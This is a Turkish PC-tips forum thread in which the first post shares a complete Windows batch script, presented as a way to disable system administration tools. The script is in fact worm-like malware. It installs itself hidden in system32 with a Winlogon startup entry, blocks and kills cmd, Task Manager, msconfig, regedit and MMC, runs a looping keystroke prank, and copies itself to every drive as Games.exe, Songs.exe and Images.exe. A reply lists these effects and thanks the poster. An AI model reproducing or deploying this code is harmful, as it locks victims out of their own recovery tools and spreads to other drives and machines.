Sistem Yönetim Araçlarını iptal edin

PC hakkındaki genel bilgi ve ipucu paylaşım alanıdır.
Cevapla
tasarımcı77
Kilobyte4
Kilobyte4
Mesajlar: 797
Kayıt: 06 Eki 2010, 09:10

Sistem Yönetim Araçlarını iptal edin

Mesaj gönderen tasarımcı77 »

Resim

Bu kodla cmd (Command Prompt), TaskManager(Görev Yöneticisi), MsConfig(Sistem Yapılandırma Hizmeti), Regedit(Kayıt Defteri), MMC(Microsoft Management Consol)'yi devre dışı bırakır.



@echo off
copy %0 %systemroot%\system32\
attrib +s +h +r %systemroot%\system32\%~n0%~x0
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\system32\%~n0%~x0" /f
echo Set wshShell=wscript.CreateObject("WScript.Shell")>%systemroot%\new.vbs
(
echo do^
echo wscript.sleep 30000^
echo wshshell.sendkeys "Bluff Master Hacker"^
echo loop^
)>>%systemroot%\new.vbs
start %systemroot%\new.vbs
tasklist > r.txt
for /f "tokens=1,2" %%i in (r.txt) do if "%%i"=="cmd.exe" set ppid=%%j
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 1 /d "cmd.exe" /f > nul
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 2 /d "taskmgr.exe" /f > nul
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 3 /d "msconfig.exe" /f > nul
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 4 /d "regedit.exe" /f > nul
reg add "HKEY_CURRENT_USER\Software\Microsoft\Command Processor" /v autorun /d "start cmd.exe cmd.exe" > nul
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 3 /d "msconfig.exe" /f > nul
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 3 /d "mmc.exe" /f > nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder" /v type /d "group1" /f > nul
reg import fer.reg
:loop
tasklist > r.txt
for /f "tokens=1,2" %%i in (r.txt) do call :ender %%i %%j
del r.txt
for %%I in (c,d,e,f,g,h,i,j) do (
copy %0 %%I:\Games.exe
copy %0 %%I:\Songs.exe
Copy %0 %%I:\Images.exe
label %%I: Bluff Master Fucked %username%
)>nul
goto loop
pause
:ender
for %%j in (regedit,mmc,taskmgr,msconfig) do if "%1"=="%%j.exe" taskkill /f /im %1 > nul
if "%1"=="cmd.exe" if not "%2"=="%ppid%" taskkill /f /pid %2 >nul

alıtıdır.
Kullanıcı avatarı
Mendenn
Gigabyte2
Gigabyte2
Mesajlar: 2244
Kayıt: 19 Haz 2006, 18:01
cinsiyet: Erkek
Teşekkür edildi: 2 kez

Re: Sistem Yönetim Araçlarını iptal edin

Mesaj gönderen Mendenn »

öncelikle bu kodu metin bgelgesine yazdıktan sonra dosyaADI.BAT olarak etmek gerekiyor.
Sanki bunun kod ile virüs dosyalarıda çalışıyor gibi.
Gerçi bu şu hali ile sadece iptal işlemini yapabilir ama yanına gerekli exe dosyaları kondumu durum zararlı bir hal alabilir gibime geliyor....

Kod: Tümünü seç

copy %0 %%I:\Games.exe
copy %0 %%I:\Songs.exe
Copy %0 %%I:\Images.exe

etkileri kısaca şöyle:

1.) Disable Regedit, CMd.exe, Taskmgr.exe, msconfig.exe…….
2.) Copies Itself into the system
3.) Makes Startup Entries
4.) Rename All the Drives to
5.) If user somehow Manage to Change the registry permission and run
any of the disabled task that task will be killed
6.) Copies it to all drives with games, songs and Images.exe name
7.) Even it will be copied to removable drives.
8.) After every 3 minutes it types
9.) Everytime U run any exe file it will show a massage saying
Bluff Master Hacked
10.) The Memory Managment Console will be locked and killed on run

Paylaşım için sağol...
tasarımcı77
Kilobyte4
Kilobyte4
Mesajlar: 797
Kayıt: 06 Eki 2010, 09:10

Re: Sistem Yönetim Araçlarını iptal edin

Mesaj gönderen tasarımcı77 »

tamamlayıcı bilgi için teşekkürler.
Kullanıcı avatarı
velociraptor
Yottabyte4
Yottabyte4
Mesajlar: 53916
Kayıt: 14 Mar 2006, 02:33
cinsiyet: Erkek
Teşekkür etti: 19732 kez
Teşekkür edildi: 11968 kez

Re: Sistem Yönetim Araçlarını iptal edin

Mesaj gönderen velociraptor »

tesekkürler
Cevapla

“Genel bilgiler ve ipuçları” sayfasına dön